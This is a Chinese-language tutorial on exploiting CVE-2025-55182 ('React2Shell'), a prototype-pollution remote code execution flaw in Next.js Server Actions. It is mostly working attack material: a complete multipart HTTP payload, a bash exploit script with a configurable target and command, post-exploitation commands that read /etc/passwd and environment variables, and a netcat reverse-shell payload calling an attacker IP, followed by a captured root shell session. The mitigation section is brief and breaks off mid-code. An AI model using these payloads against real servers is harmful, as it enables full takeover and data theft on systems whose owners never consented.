
CVE-2025-55182,又名 React2Shell,是一个影响使用 React Server Components (RSC) 和 Server Actions 的 Next.js 应用程序的严重漏洞。
⚠️ 免责声明:本文档仅用于教育和安全研究目的。未经授权对您不拥有或未获得明确测试许可的系统使用这些技术是非法的。
CVE-2025-55182,又称 React2Shell,是一个影响使用以下功能的 Next.js 应用程序的严重漏洞:
攻击者可以通过以下方式在服务器上实现远程代码执行(RCE):
__proto__ 和 constructor 进行的原型污染后果:可以以 Node.js 进程的权限执行任意系统命令。
Next.js 使用专有的 multipart/form-data 协议在客户端和服务器之间进行通信:
Client (Browser)
↓
[multipart/form-data RSC payload]
↓
Next.js Server
↓
Deserialization + Execution
↓
Response
漏洞存在的原因:
__proto__、constructor)攻击者可以构造一个修改内部对象属性的负载:
{
"then": "$1:__proto__:then", // Targets the prototype chain
"_response": {
"_prefix": "malicious code here" // Code injection
}
}
通过利用 __proto__,攻击者污染 JavaScript 对象的原型,影响所有继承自该原型的对象。
在 _prefix 字段中,攻击者注入以下 JavaScript 代码:
process.mainModule.require() 访问 Node.js 模块child_process 模块execSync() 执行系统命令var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();
命令结果隐藏在错误响应中:
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});
Next.js 将此错误返回给客户端,命令输出在 digest 字段中可见。
# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182
# Install Node.js 20
nvm install 20
nvm use 20
# Install dependencies
cd test-server
npm install
npm run dev
服务器现在可通过以下地址访问:
http://localhost:3000
curl http://localhost:3000/
此时,服务器行为正常。
http://localhost:3000/将拦截到一个 GET 请求。将其发送到 Repeater 标签页:
将整个请求替换为以下负载:
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
单击 Send
创建文件 exploit.sh:
#!/bin/bash
TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"
# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)
# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"
# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
-H "Next-Action: x" \
-H "X-Nextjs-Request-Id: b5dce965" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
--data-raw "$PAYLOAD"
使其可执行:
chmod +x exploit.sh
./exploit.sh
COMMAND="ls -la /"
COMMAND="whoami"
COMMAND="cat /etc/passwd"
COMMAND="netstat -tuln"
COMMAND="env"
要获得完整的交互式 Shell 访问权限,请使用反向 Shell。
ncat -lvnp 9009
或使用 netcat:
nc -lvnp 9009
使用以下命令修改负载(将 <ATTACKER_IP> 替换为您的 IP 地址):
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"
完整的负载如下:
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin boot dev etc home lib ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
您现在已在目标服务器上获得了完全交互式 Shell。
成功利用后:
digest 字段内Error: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)
npm install next@latest
确保您运行的是已修补的 Next.js 版本。请查看官方安全公告。
对传入的 RSC 负载添加严格验证:
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';